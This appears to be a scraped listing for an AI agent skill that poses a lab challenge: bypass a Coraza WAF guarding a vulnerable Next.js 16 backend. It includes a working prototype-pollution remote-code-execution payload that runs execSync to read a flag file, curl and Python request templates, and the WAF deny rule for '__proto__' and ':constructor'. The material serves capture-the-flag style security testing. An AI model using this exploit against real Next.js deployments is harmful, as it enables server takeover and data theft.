Loading...
Loading...
Bypass a Coraza WAF protecting a vulnerable Next.js 16 backend. Analyze parser differentials between Go (WAF) and Node.js (backend) to find bypasses.
npx skill4agent add hacktronai/skills waf-bypass-hunter┌─────────┐ ┌─────────────┐ ┌─────────────────┐
│ Agent │───▶│ Coraza WAF │───▶│ Next.js 16.0.6 │
│ │ │ (Go) │ │ (Node.js) │
│ │ │ Port: 9091 │ │ Port: 3000 │
└─────────┘ └─────────────┘ └─────────────────┘POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489
--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"
"$@0"
--yyy--:constructor__proto__http://localhost:9091/curl --path-as-is -i -s -k -X POST \
-H 'Host: localhost' \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=yyy' \
--data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
'http://localhost:9091/'import requests
resp = requests.post(
"http://localhost:9091/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect")) # Flag is here!
print(resp.text)X-Action-Redirectcurl -X POST http://localhost:8009/execute \
-H "Content-Type: application/json" \
-d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'{
"stdout": "403",
"stderr": "",
"waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
"execution_time_ms": 123
}import requests
payload = '''--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''
resp = requests.post(
"http://waf:9090/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code) # 403 - Blocked by WAF
print(resp.text)sources/sources/coraza/internal/bodyprocessors/sources/busboy/lib/sources/nextjs/packages/next/src/server/X-Action-RedirectHACKTRON{...}# Block prototype pollution patterns
SecRule REQUEST_BODY|ARGS "@rx (?:__proto__|:constructor)" "id:1008,deny"
sources/localhost:9091